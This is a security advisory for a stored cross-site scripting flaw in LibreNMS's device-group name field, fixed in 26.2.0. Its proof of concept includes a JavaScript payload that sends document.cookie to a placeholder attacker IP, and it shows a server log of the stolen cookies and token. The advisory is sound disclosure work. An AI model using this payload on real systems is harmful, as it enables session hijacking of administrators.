GHSA-5pqf-54qp-32wxmedium5.1

LibreNMS /device-groups name Stored Cross-Site Scripting

The advisory, in context

Summary

/device-groups name Stored Cross-Site Scripting

HTTP POST
Request-URI(s): "/device-groups"
Vulnerable parameter(s): "name"
Attacker must be authenticated with "admin" privileges.
When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

Login
Select Devices > Manage Groups
Select New Device Group
Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
'.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
Select "access_points.accesspoint_id" as the Conditional input
Input 1 into the Conditional value input box
Select Save
Select the Delete Icon for the newly created Device Group
Select OK
The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
server, leaking the user's cookies.

Impact

Attacker Controlled server's logs:

192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie-
jqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF-
TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj
BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0
ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG
I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36"

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

librenms/librenms Packagist

Ecosystem versions

Earlier releases before 26.2.0

Fixed in 26.2.0

149 explicitly affected versions

1.19, 1.20, 1.20.1, 1.21, 1.22, 1.22.01, 1.23, 1.24, 1.25, 1.26, 1.27, 1.28, 1.29, 1.30, 1.30.01, 1.31, 1.31.01, 1.31.02, 1.31.03, 1.32, 1.32.01, 1.33, 1.33.01, 1.34, 1.35, 1.36, 1.36.01, 1.37, 1.38, 1.39, 1.40, 1.41, 1.42, 1.42.01, 1.43, 1.44, 1.45, 1.46, 1.47, 1.48, 1.48.1, 1.49, 1.50, 1.50.1, 1.51, 1.52, 1.53, 1.53.1, 1.54, 1.55, 1.56, 1.57, 1.58, 1.58.1, 1.59, 1.60, 1.61, 1.62, 1.62.1, 1.62.2, 1.63, 1.64, 1.64.1, 1.65, 1.65.1, 1.66, 1.67, 1.68, 1.69, 1.70.0, 1.70.1, 21.1.0, 21.10.0, 21.10.1, 21.10.2, 21.11.0, 21.12.0, 21.12.1, 21.2.0, 21.3.0, 21.4.0, 21.5.0, 21.5.1, 21.6.0, 21.7.0, 21.8.0, 21.9.0, 21.9.1, 22.1.0, 22.10.0, 22.11.0, 22.12.0, 22.2.0, 22.2.1, 22.2.2, 22.3.0, 22.4.0, 22.4.1, 22.5.0, 22.6.0, 22.7.0, 22.8.0, 22.9.0, 23.1.0, 23.1.1, 23.10.0, 23.11.0, 23.2.0, 23.4.0, 23.4.1, 23.5.0, 23.6.0, 23.7.0, 23.8.0, 23.8.1, 23.8.2, 23.9.0, 23.9.1, 24.1.0, 24.10.0, 24.10.1, 24.11.0, 24.12.0, 24.2.0, 24.3.0, 24.4.0, 24.4.1, 24.5.0, 24.6.0, 24.7.0, 24.8.0, 24.8.1, 24.9.0, 24.9.1, 25.1.0, 25.10.0, 25.11.0, 25.12.0, 25.2.0, 25.3.0, 25.4.0, 25.5.0, 25.6.0, 25.7.0, 25.8.0, 25.9.0, 25.9.1, 26.1.0, 26.1.1

View affected-version evidence

{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "26.2.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "1.19",
    "1.20",
    "1.20.1",
    "1.21",
    "1.22",
    "1.22.01",
    "1.23",
    "1.24",
    "1.25",
    "1.26",
    "1.27",
    "1.28",
    "1.29",
    "1.30",
    "1.30.01",
    "1.31",
    "1.31.01",
    "1.31.02",
    "1.31.03",
    "1.32",
    "1.32.01",
    "1.33",
    "1.33.01",
    "1.34",
    "1.35",
    "1.36",
    "1.36.01",
    "1.37",
    "1.38",
    "1.39",
    "1.40",
    "1.41",
    "1.42",
    "1.42.01",
    "1.43",
    "1.44",
    "1.45",
    "1.46",
    "1.47",
    "1.48",
    "1.48.1",
    "1.49",
    "1.50",
    "1.50.1",
    "1.51",
    "1.52",
    "1.53",
    "1.53.1",
    "1.54",
    "1.55",
    "1.56",
    "1.57",
    "1.58",
    "1.58.1",
    "1.59",
    "1.60",
    "1.61",
    "1.62",
    "1.62.1",
    "1.62.2",
    "1.63",
    "1.64",
    "1.64.1",
    "1.65",
    "1.65.1",
    "1.66",
    "1.67",
    "1.68",
    "1.69",
    "1.70.0",
    "1.70.1",
    "21.1.0",
    "21.10.0",
    "21.10.1",
    "21.10.2",
    "21.11.0",
    "21.12.0",
    "21.12.1",
    "21.2.0",
    "21.3.0",
    "21.4.0",
    "21.5.0",
    "21.5.1",
    "21.6.0",
    "21.7.0",
    "21.8.0",
    "21.9.0",
    "21.9.1",
    "22.1.0",
    "22.10.0",
    "22.11.0",
    "22.12.0",
    "22.2.0",
    "22.2.1",
    "22.2.2",
    "22.3.0",
    "22.4.0",
    "22.4.1",
    "22.5.0",
    "22.6.0",
    "22.7.0",
    "22.8.0",
    "22.9.0",
    "23.1.0",
    "23.1.1",
    "23.10.0",
    "23.11.0",
    "23.2.0",
    "23.4.0",
    "23.4.1",
    "23.5.0",
    "23.6.0",
    "23.7.0",
    "23.8.0",
    "23.8.1",
    "23.8.2",
    "23.9.0",
    "23.9.1",
    "24.1.0",
    "24.10.0",
    "24.10.1",
    "24.11.0",
    "24.12.0",
    "24.2.0",
    "24.3.0",
    "24.4.0",
    "24.4.1",
    "24.5.0",
    "24.6.0",
    "24.7.0",
    "24.8.0",
    "24.8.1",
    "24.9.0",
    "24.9.1",
    "25.1.0",
    "25.10.0",
    "25.11.0",
    "25.12.0",
    "25.2.0",
    "25.3.0",
    "25.4.0",
    "25.5.0",
    "25.6.0",
    "25.7.0",
    "25.8.0",
    "25.9.0",
    "25.9.1",
    "26.1.0",
    "26.1.1"
  ]
}

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